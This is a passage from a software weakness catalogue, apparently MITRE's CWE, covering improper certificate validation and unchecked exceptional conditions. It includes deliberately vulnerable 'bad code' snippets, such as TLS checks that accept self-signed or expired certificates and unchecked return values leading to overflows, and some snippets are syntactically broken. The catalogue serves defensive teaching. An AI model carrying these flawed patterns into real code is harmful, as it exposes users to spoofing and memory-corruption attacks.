For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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+ Description
The product does not validate, or incorrectly validates, a certificate.
+ Extended Description
When a certificate is invalid or malicious, it might allow an attacker to spoof a trusted entity by interfering in the communication path between the host and client. The product might connect to a malicious host while believing it is a trusted host, or the product might be deceived into accepting spoofed data that appears to originate from a trusted host.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Bypass Protection Mechanism; Gain Privileges or Assume Identity

Scope: Integrity, Authentication

+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design; Implementation
Certificates should be carefully managed and checked to assure that data are encrypted with the intended owner's public key.

Implementation
If certificate pinning is being used, ensure that all relevant properties of the certificate are fully validated before the certificate is pinned, including the hostname.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 287 Improper Authentication
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 296 Improper Following of a Certificate's Chain of Trust
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 297 Improper Validation of Certificate with Host Mismatch
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 298 Improper Validation of Certificate Expiration
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 299 Improper Check for Certificate Revocation
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 599 Missing Validation of OpenSSL Certificate
PeerOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 322 Key Exchange without Entity Authentication
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1211 Authentication Errors
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 287 Improper Authentication
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1014 Identify Actors
+ Background Details
A certificate is a token that associates an identity (principal) to a cryptographic key. Certificates can be used to check if a public key belongs to the assumed owner.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
Implementation REALIZATION: This weakness is caused during implementation of an architectural security tactic.
Implementation When the product uses certificate pinning, the developer might not properly validate all relevant components of the certificate before pinning the certificate. This can make it difficult or expensive to test after the pinning is complete.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Mobile (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


This code checks the certificate of a connected peer.

(bad code)
Example Language: C 
if ((cert = SSL_get_peer_certificate(ssl)) && host)
foo=SSL_get_verify_result(ssl);

if ((X509_V_OK==foo) || X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN==foo))

// certificate looks good, host can be trusted

In this case, because the certificate is self-signed, there was no external authority that could prove the identity of the host. The program could be communicating with a different system that is spoofing the host, e.g. by poisoning the DNS cache or using an Adversary-in-the-Middle (AITM) attack to modify the traffic from server to client.



Example 2


The following OpenSSL code obtains a certificate and verifies it.

(bad code)
Example Language: C 
cert = SSL_get_peer_certificate(ssl);
if (cert && (SSL_get_verify_result(ssl)==X509_V_OK)) {

// do secret things
}

Even though the "verify" step returns X509_V_OK, this step does not include checking the Common Name against the name of the host. That is, there is no guarantee that the certificate is for the desired host. The SSL connection could have been established with a malicious host that provided a valid certificate.



Example 3


The following OpenSSL code ensures that there is a certificate and allows the use of expired certificates.

(bad code)
Example Language: C 
if (cert = SSL_get_peer(certificate(ssl)) {
foo=SSL_get_verify_result(ssl);
if ((X509_V_OK==foo) || (X509_V_ERR_CERT_HAS_EXPIRED==foo))

//do stuff

If the call to SSL_get_verify_result() returns X509_V_ERR_CERT_HAS_EXPIRED, this means that the certificate has expired. As time goes on, there is an increasing chance for attackers to compromise the certificate.



Example 4


The following OpenSSL code ensures that there is a certificate before continuing execution.

(bad code)
Example Language: C 
if (cert = SSL_get_peer_certificate(ssl)) {

// got a certificate, do secret things

Because this code does not use SSL_get_verify_results() to check the certificate, it could accept certificates that have been revoked (X509_V_ERR_CERT_REVOKED). The software could be communicating with a malicious host.



Example 5


The following OpenSSL code ensures that the host has a certificate.

(bad code)
Example Language: C 
if (cert = SSL_get_peer_certificate(ssl)) {

// got certificate, host can be trusted

//foo=SSL_get_verify_result(ssl);

//if (X509_V_OK==foo) ...
}

Note that the code does not call SSL_get_verify_result(ssl), which effectively disables the validation step that checks the certificate.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
A Go framework for robotics, drones, and IoT devices skips verification of root CA certificates by default.
chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing Adversary-in-the-Middle (AITM) attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -> CWE-561 (Dead Code) -> CWE-295 (Improper Certificate Validation) -> CWE-393 (Return of Wrong Status Code) -> CWE-300 (Channel Accessible by Non-Endpoint).
Chain: router's firmware update procedure uses curl with "-k" (insecure) option that disables certificate validation (CWE-295), allowing adversary-in-the-middle (AITM) compromise with a malicious firmware image (CWE-494).
Verification function trusts certificate chains in which the last certificate is self-signed.
Web browser uses a TLS-related function incorrectly, preventing it from verifying that a server's certificate is signed by a trusted certification authority (CA)
Web browser does not check if any intermediate certificates are revoked.
Operating system does not check Certificate Revocation List (CRL) in some cases, allowing spoofing using a revoked certificate.
Mobile banking application does not verify hostname, leading to financial loss.
Cloud-support library written in Python uses incorrect regular expression when matching hostname.
Web browser does not correctly handle '\0' character (NUL) in Common Name, allowing spoofing of https sites.
Smartphone device does not verify hostname, allowing spoofing of mail services.
Application uses third-party library that does not validate hostname.
Cloud storage management application does not validate hostname.
Java library uses JSSE SSLSocket and SSLEngine classes, which do not verify the hostname.
chain: incorrect calculation allows attackers to bypass certificate checks.
LDAP client accepts certificates even if they are not from a trusted CA.
chain: DNS server does not correctly check return value from the OpenSSL EVP_VerifyFinal function allows bypass of validation of the certificate chain.
chain: product checks if client is trusted when it intended to check if the server is trusted, allowing validation of signed code.
Cryptographic API, as used in web browsers, mail clients, and other software, does not properly validate Basic Constraints.
chain: OS package manager does not check properly check the return value, allowing bypass using a revoked certificate.
+ Detection Methods
Method Details

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Man-in-the-middle attack tool

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Focused Manual Spotcheck - Focused manual analysis of source
  • Manual Source Code Review (not inspections)

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 731 OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1029 OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1200 Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1353 OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1382 ICS Operations (& Maintenance): Emerging Energy Technologies
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1396 Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
OWASP Top Ten 2004 A10 CWE More Specific Insecure Configuration Management
+ References
[REF-243] Sascha Fahl, Marian Harbach, Thomas Muders, Matthew Smith and Lars Baumgärtner, Bernd Freisleben. "Why Eve and Mallory Love Android: An Analysis of Android SSL (In)Security". 2012-10-16.
<http://www2.dcsec.uni-hannover.de/files/android/p50-fahl.pdf>.
[REF-244] M. Bishop. "Computer Security: Art and Science". Addison-Wesley. 2003.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification Date Modifier Organization
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Relationships
2023-01-31 CWE Content Team MITRE
updated Description, Modes_of_Introduction
2022-10-13 CWE Content Team MITRE
updated Observed_Examples, References
2022-04-28 CWE Content Team MITRE
updated Relationships
2021-10-28 CWE Content Team MITRE
updated Observed_Examples, Relationships
2021-07-20 CWE Content Team MITRE
updated Demonstrative_Examples, Observed_Examples
2020-08-20 CWE Content Team MITRE
updated Related_Attack_Patterns
2020-02-24 CWE Content Team MITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Observed_Examples, Relationships
2019-09-19 CWE Content Team MITRE
updated Demonstrative_Examples, Relationships
2019-06-20 CWE Content Team MITRE
updated Relationships
2018-03-27 CWE Content Team MITRE
updated Background_Details, Modes_of_Introduction, Potential_Mitigations, Relationships
2017-11-08 CWE Content Team MITRE
updated Modes_of_Introduction, References, Relationships
2017-01-19 CWE Content Team MITRE
updated Relationships
2015-12-07 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Detection_Factors
2014-06-23 CWE Content Team MITRE
updated Observed_Examples
2013-02-21 CWE Content Team MITRE
updated Applicable_Platforms, Common_Consequences, Description, Name, Observed_Examples, Potential_Mitigations, References, Relationships, Time_of_Introduction, Type
2012-12-28 CWE Content Team MITRE
Converted from category to weakness class.
2012-05-11 CWE Content Team MITRE
updated Related_Attack_Patterns
2008-10-14 CWE Content Team MITRE
updated Background_Details, Description
2008-09-08 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2008-08-15 Veracode
Suggested OWASP Top Ten 2004 mapping
+ Previous Entry Names
Change Date Previous Entry Name
2013-02-21 Certificate Issues
Back to top

CWE-754: Improper Check for Unusual or Exceptional Conditions

Weakness ID: 754
Vulnerability Mapping: ALLOWED This CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not check or incorrectly checks for unusual or exceptional conditions that are not expected to occur frequently during day to day operation of the product.
+ Extended Description

The programmer may assume that certain events or conditions will never occur or do not need to be worried about, such as low memory conditions, lack of access to resources due to restrictive permissions, or misbehaving clients or components. However, attackers may intentionally trigger these unusual conditions, thus violating the programmer's assumptions, possibly introducing instability, incorrect behavior, or a vulnerability.

Note that this entry is not exclusively about the use of exceptions and exception handling, which are mechanisms for both checking and handling unusual or unexpected conditions.

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

DoS: Crash, Exit, or Restart; Unexpected State

Scope: Integrity, Availability

The data which were produced as a result of a function call could be in a bad state upon return. If the return value is not checked, then this bad data may be used in operations, possibly leading to a crash or other unintended behaviors.
+ Potential Mitigations
Phase(s) Mitigation

Requirements

Strategy: Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Choose languages with features such as exception handling that force the programmer to anticipate unusual conditions that may generate exceptions. Custom exceptions may need to be developed to handle unusual business-logic conditions. Be careful not to pass sensitive exceptions back to the user (CWE-209, CWE-248).

Implementation
Check the results of all functions that return a value and verify that the value is expected.

Effectiveness: High

Note: Checking the return value of the function will typically be sufficient, however beware of race conditions (CWE-362) in a concurrent environment.

Implementation
If using exception handling, catch and throw specific exceptions instead of overly-general exceptions (CWE-396, CWE-397). Catch and handle exceptions as locally as possible so that exceptions do not propagate too far up the call stack (CWE-705). Avoid unchecked or uncaught exceptions where feasible (CWE-248).

Effectiveness: High

Note: Using specific exceptions, and ensuring that exceptions are checked, helps programmers to anticipate and appropriately handle many unusual events that could occur.

Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.

If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.

Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.

Exposing additional information to a potential attacker in the context of an exceptional condition can help the attacker determine what attack vectors are most likely to succeed beyond DoS.

Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Note: Performing extensive input validation does not help with handling unusual conditions, but it will minimize their occurrences and will make it more difficult for attackers to trigger them.

Architecture and Design; Implementation
If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.

Architecture and Design
Use system limits, which should help to prevent resource exhaustion. However, the product should still handle low resource conditions since they may still occur.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 703 Improper Check or Handling of Exceptional Conditions
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 252 Unchecked Return Value
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 253 Incorrect Check of Function Return Value
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 273 Improper Check for Dropped Privileges
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 354 Improper Validation of Integrity Check Value
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 391 Unchecked Error Condition
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 394 Unexpected Status Code or Return Value
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 476 NULL Pointer Dereference
CanPrecede Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 416 Use After Free
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Nature Type ID Name
MemberOf View View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1003 Weaknesses for Simplified Mapping of Published Vulnerabilities
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 252 Unchecked Return Value
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 273 Improper Check for Dropped Privileges
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 476 NULL Pointer Dereference
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1012 Cross Cutting
+ Background Details
Many functions will return some value about the success of their actions. This will alert the program whether or not to handle any errors caused by that function.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation REALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1


Consider the following code segment:

(bad code)
Example Language: C 
char buf[10], cp_buf[10];
fgets(buf, 10, stdin);
strcpy(cp_buf, buf);

The programmer expects that when fgets() returns, buf will contain a null-terminated string of length 9 or less. But if an I/O error occurs, fgets() will not null-terminate buf. Furthermore, if the end of the file is reached before any characters are read, fgets() returns without writing anything to buf. In both of these situations, fgets() signals that something unusual has happened by returning NULL, but in this code, the warning will not be noticed. The lack of a null terminator in buf can result in a buffer overflow in the subsequent call to strcpy().



Example 2


The following code does not check to see if memory allocation succeeded before attempting to use the pointer returned by malloc().

(bad code)
Example Language: C 
buf = (char*) malloc(req_size);
strncpy(buf, xfer, req_size);

The traditional defense of this coding error is: "If my program runs out of memory, it will fail. It doesn't matter whether I handle the error or simply allow the program to die with a segmentation fault when it tries to dereference the null pointer." This argument ignores three important considerations:

  • Depending upon the type and size of the application, it may be possible to free memory that is being used elsewhere so that execution can continue.
  • It is impossible for the program to perform a graceful exit if required. If the program is performing an atomic operation, it can leave the system in an inconsistent state.
  • The programmer has lost the opportunity to record diagnostic information. Did the call to malloc() fail because req_size was too large or because there were too many requests being handled at the same time? Or was it caused by a memory leak that has built up over time? Without handling the error, there is no way to know.



Example 3


The following examples read a file into a byte array.

(bad code)
Example Language: C# 
char[] byteArray = new char[1024];
for (IEnumerator i=users.GetEnumerator(); i.MoveNext() ;i.Current()) {
String userName = (String) i.Current();
String pFileName = PFILE_ROOT + "/" + userName;
StreamReader sr = new StreamReader(pFileName);
sr.Read(byteArray,0,1024);//the file is always 1k bytes
sr.Close();
processPFile(userName, byteArray);
}
(bad code)
Example Language: Java 
FileInputStream fis;
byte[] byteArray = new byte[1024];
for (Iterator i=users.iterator(); i.hasNext();) {
String userName = (String) i.next();
String pFileName = PFILE_ROOT + "/" + userName;
FileInputStream fis = new FileInputStream(pFileName);
fis.read(byteArray); // the file is always 1k bytes
fis.close();
processPFile(userName, byteArray);

The code loops through a set of users, reading a private data file for each user. The programmer assumes that the files are always 1 kilobyte in size and therefore ignores the return value from Read(). If an attacker can create a smaller file, the program will recycle the remainder of the data from the previous user and treat it as though it belongs to the attacker.



Example 4


The following code does not check to see if the string returned by getParameter() is null before calling the member function compareTo(), potentially causing a NULL dereference.

(bad code)
Example Language: Java 
String itemName = request.getParameter(ITEM_NAME);
if (itemName.compareTo(IMPORTANT_ITEM) == 0) {
...
}
...

The following code does not check to see if the string returned by the Item property is null before calling the member function Equals(), potentially causing a NULL dereference.

(bad code)
Example Language: Java 
String itemName = request.Item(ITEM_NAME);
if (itemName.Equals(IMPORTANT_ITEM)) {
...
}
...

The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or simply allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.



Example 5


The following code shows a system property that is set to null and later dereferenced by a programmer who mistakenly assumes it will always be defined.

(bad code)
Example Language: Java 
System.clearProperty("os.name");
...
String os = System.getProperty("os.name");
if (os.equalsIgnoreCase("Windows 95")) System.out.println("Not supported");

The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or simply allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.



Example 6


The following VB.NET code does not check to make sure that it has read 50 bytes from myfile.txt. This can cause DoDangerousOperation() to operate on an unexpected value.

(bad code)
Example Language: C# 
Dim MyFile As New FileStream("myfile.txt", FileMode.Open, FileAccess.Read, FileShare.Read)
Dim MyArray(50) As Byte
MyFile.Read(MyArray, 0, 50)
DoDangerousOperation(MyArray(20))

In .NET, it is not uncommon for programmers to misunderstand Read() and related methods that are part of many System.IO classes. The stream and reader classes do not consider it to be unusual or exceptional if only a small amount of data becomes available. These classes simply add the small amount of data to the return buffer, and set the return value to the number of bytes or characters read. There is no guarantee that the amount of data returned is equal to the amount of data requested.



Example 7


This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

(bad code)
Example Language: C 
void host_lookup(char *user_supplied_addr){
struct hostent *hp;
in_addr_t *addr;
char hostname[64];
in_addr_t inet_addr(const char *cp);

/*routine that ensures user_supplied_addr is in the right format for conversion */

validate_addr_form(user_supplied_addr);
addr = inet_addr(user_supplied_addr);
hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
strcpy(hostname, hp->h_name);
}

If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to gethostbyaddr() will return NULL. Since the code does not check the return value from gethostbyaddr (CWE-252), a NULL pointer dereference (CWE-476) would then occur in the call to strcpy().

Note that this code is also vulnerable to a buffer overflow (CWE-119).



Example 8


In the following C/C++ example the method outputStringToFile opens a file in the local filesystem and outputs a string to the file. The input parameters output and filename contain the string to output to the file and the name of the file respectively.

(bad code)
Example Language: C++ 
int outputStringToFile(char *output, char *filename) {

openFileToWrite(filename);
writeToFile(output);
closeFile(filename);
}

However, this code does not check the return values of the methods openFileToWrite, writeToFile, closeFile to verify that the file was properly opened and closed and that the string was successfully written to the file. The return values for these methods should be checked to determine if the method was successful and allow for detection of errors or unexpected conditions as in the following example.

(good code)
Example Language: C++ 
int outputStringToFile(char *output, char *filename) {
int isOutput = SUCCESS;

int isOpen = openFileToWrite(filename);
if (isOpen == FAIL) {
printf("Unable to open file %s", filename);
isOutput = FAIL;
}
else {
int isWrite = writeToFile(output);
if (isWrite == FAIL) {
printf("Unable to write to file %s", filename);
isOutput = FAIL;
}

int isClose = closeFile(filename);
if (isClose == FAIL)
isOutput = FAIL;
}
return isOutput;
}


Example 9


In the following Java example the method readFromFile uses a FileReader object to read the contents of a file. The FileReader object is created using the File object readFile, the readFile object is initialized using the setInputFile method. The setInputFile method should be called before calling the readFromFile method.

(bad code)
Example Language: Java 
private File readFile = null;

public void setInputFile(String inputFile) {

// create readFile File object from string containing name of file
}

public void readFromFile() {
try {
reader = new FileReader(readFile);

// read input file
} catch (FileNotFoundException ex) {...}
}

However, the readFromFile method does not check to see if the readFile object is null, i.e. has not been initialized, before creating the FileReader object and reading from the input file. The readFromFile method should verify whether the readFile object is null and output an error message and raise an exception if the readFile object is null, as in the following code.

(good code)
Example Language: Java 
private File readFile = null;

public void setInputFile(String inputFile) {

// create readFile File object from string containing name of file
}

public void readFromFile() {
try {
if (readFile == null) {
System.err.println("Input file has not been set, call setInputFile method before calling openInputFile");
throw NullPointerException;
}

reader = new FileReader(readFile);

// read input file
} catch (FileNotFoundException ex) {...}
catch (NullPointerException ex) {...}
}


+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Chain: function in web caching proxy does not correctly check a return value (CWE-253) leading to a reachable assertion (CWE-617)
Unchecked return value leads to resultant integer overflow and code execution.
Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail.
Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail.
+ Detection Methods
Method Details

Automated Static Analysis
